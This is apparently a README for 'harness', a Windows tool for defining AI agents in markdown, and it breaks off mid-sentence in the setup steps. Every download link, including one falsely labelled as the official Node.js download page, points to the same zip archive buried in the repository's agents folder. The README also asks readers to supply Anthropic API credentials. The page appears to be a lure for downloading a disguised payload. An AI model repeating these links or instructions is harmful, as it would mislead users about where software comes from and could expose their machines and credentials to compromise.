Harness

⚙️ harness - Define and Control AI Agents Easily

[](https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip)

📥 Download & Install harness on Windows

Use the link below to visit the GitHub page where you can download the installer for Windows.

[Download harness on GitHub](https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip)

---

🚀 Getting Started

harness lets you create AI agents using simple markdown files. You can control every part of the agent’s behavior with easy-to-edit text files. This tool runs directly on your Windows computer with a command-line interface that is easy to use.

To get started, you only need to download the software and set up your access credentials. This guide covers every step.

---

💻 System Requirements

• Windows 10 or newer (64-bit)
• At least 2 GB of free disk space
• Internet connection for downloading and API access
• Node.js version 22.x installed (required for harness to run)

---

🔧 What You Need Before Installing

harness requires Node.js, a tool that lets JavaScript programs run on your computer. This guide includes easy instructions for this.

You also need an API key or login credentials to authenticate harness. Two methods work:

• Claude Code login
• Anthropic API key

Instructions are below.

---

🔵 Step 1: Download and Install Node.js

Node.js must be installed before harness can work.

1. Open your browser and go to the official Node.js download page: https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip

2. Download the Windows installer for the latest Node.js 22.x version.

3. Run the installer and follow the steps. Choose the default options unless you know what you are doing.

4. Once installed, verify it works:

   • Ope